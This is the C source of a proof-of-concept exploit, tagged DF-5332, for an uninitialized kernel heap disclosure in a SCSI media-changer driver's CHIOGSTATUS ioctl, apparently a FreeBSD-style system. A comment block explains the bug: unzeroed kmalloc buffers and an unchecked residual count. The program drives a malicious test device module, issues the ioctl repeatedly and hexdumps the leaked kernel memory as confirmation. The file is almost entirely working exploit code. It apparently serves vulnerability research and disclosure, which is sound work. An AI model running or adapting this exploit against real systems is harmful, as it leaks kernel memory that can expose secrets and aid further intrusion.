DF-5332 / poc_chres.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | /* * poc_chres.c -- DF-5332: CHIOGSTATUS discloses uninitialized kernel heap. * * scsi_ch.c chgetelemstatus() kmalloc()s its READ ELEMENT STATUS transfer * buffers WITHOUT M_ZERO (lines ~1089 and ~1129) and never checks * csio->resid. With the evil rig (evilcd3.ko) set to resmode=1, the device * transfers ONLY the 8-byte status header and completes GOOD (legal SCSI: * allocation length is a maximum). The page header (data[8..15]) and all * element descriptors (data[16..]) are then stale kernel heap, and the * driver walks `avail' descriptors over them, copies the derived fields * into user_data[] and copyout()s the whole array to user space. * * This program: * 1. opens /dev/ch0 (rig fake changer: 8 slots from addr 256), * 2. (optionally) stamps the heap via debug.evilcd.markres, * 3. issues CHIOGSTATUS(chet=CHET_ST, base=0, count=N), * 4. hexdumps the returned struct changer_element_status array. * * The device sent NOTHING but the 8-byte header -- every non-zero byte in * the returned structs is kernel heap memory the caller was never meant to * see. * * usage: ./poc_chres [runs] [mark(0/1)] [count] */ #include <sys/types.h> #include <sys/chio.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> static void hexdump_buf(const unsigned char *p, size_t n) { size_t i; for (i = 0; i < n; i++) { if ((i % 16) == 0) printf(" %04zx: ", i); printf("%02x ", p[i]); if ((i % 16) == 15) printf("\n"); } if (n % 16) printf("\n"); } int main(int argc, char **argv) { int runs = argc > 1 ? atoi(argv[1]) : 3; int mark = argc > 2 ? atoi(argv[2]) : 1; int count = argc > 3 ? atoi(argv[3]) : 4; struct changer_params cp; struct changer_element_status *ces; int fd, r, i, mib_n, error; size_t mib_len; int mib[4]; char mibname[64]; int n_nonzero_total, n_run_nonzero; if (count < 1 || count > 8) { fprintf(stderr, "count must be 1..8 (rig declares 8 slots)\n"); exit(2); } fd = open("/dev/ch0", O_RDWR); if (fd < 0) { perror("open /dev/ch0"); exit(1); } if (ioctl(fd, CHIOGPARAMS, &cp) == 0) printf("[+] CHIOGPARAMS: pickers=%d slots=%d portals=%d " "drives=%d\n", cp.cp_npickers, cp.cp_nslots, cp.cp_nportals, cp.cp_ndrives); else perror("CHIOGPARAMS"); /* resolve the markres sysctl once */ snprintf(mibname, sizeof(mibname), "debug.evilcd.markres"); mib_len = 4; if (sysctlnametomib(mibname, mib, &mib_len) != 0 && mark) printf("[!] no debug.evilcd.markres (module loaded?)\n"); ces = calloc(count, sizeof(*ces)); if (ces == NULL) { perror("calloc"); exit(1); } n_nonzero_total = 0; for (r = 0; r < runs; r++) { struct changer_element_status_request csr; if (mark) { int v = count; size_t vlen = sizeof(v); if (sysctl(mib, mib_len, NULL, NULL, &v, vlen) != 0) perror("sysctl markres"); } memset(ces, 0, count * sizeof(*ces)); memset(&csr, 0, sizeof(csr)); csr.cesr_element_type = CHET_ST; csr.cesr_element_base = 0; csr.cesr_element_count = count; csr.cesr_flags = 0; /* no voltags requested */ csr.cesr_element_status = ces; if (ioctl(fd, CHIOGSTATUS, &csr) < 0) { perror("CHIOGSTATUS"); exit(1); } n_run_nonzero = 0; printf("=== run %d: CHIOGSTATUS(chet=ST, base=0, count=%d) " "returned ===\n", r, count); for (i = 0; i < count; i++) { int j, nz = 0; unsigned char *raw = (unsigned char *)&ces[i]; size_t sz = sizeof(ces[i]); for (j = 0; j < (int)sz; j++) if (raw[j]) nz++; n_run_nonzero += nz; printf("-- element %d (%zu bytes, %d non-zero): " "int_addr=0x%04x flags=0x%x sense=0x%02x/0x%02x " "src_type=%d src_addr=0x%04x scsi_id=%d lun=%d\n", i, sz, nz, ces[i].ces_int_addr, (unsigned)ces[i].ces_flags, ces[i].ces_sensecode, ces[i].ces_sensequal, ces[i].ces_source_type, ces[i].ces_source_addr, ces[i].ces_scsi_id, ces[i].ces_scsi_lun); printf(" volid_p=\"%s\" serial_p=%d volid_a=\"%s\" " "serial_a=%d\n", ces[i].ces_pvoltag.cv_volid, ces[i].ces_pvoltag.cv_serial, ces[i].ces_avoltag.cv_volid, ces[i].ces_avoltag.cv_serial); hexdump_buf(raw, sz); } printf("=== run %d: %d non-zero bytes in %d structs " "(device sent only an 8-byte header) ===\n\n", r, n_run_nonzero, count); n_nonzero_total += n_run_nonzero; } if (n_nonzero_total > 0) { printf("[***] LEAK CONFIRMED: %d non-zero bytes across %d " "runs -- kernel heap disclosed via CHIOGSTATUS\n", n_nonzero_total, runs); return (0); } printf("[---] all returned bytes zero (stale heap happened to be " "zero-filled); rerun with mark=1\n"); return (3); } |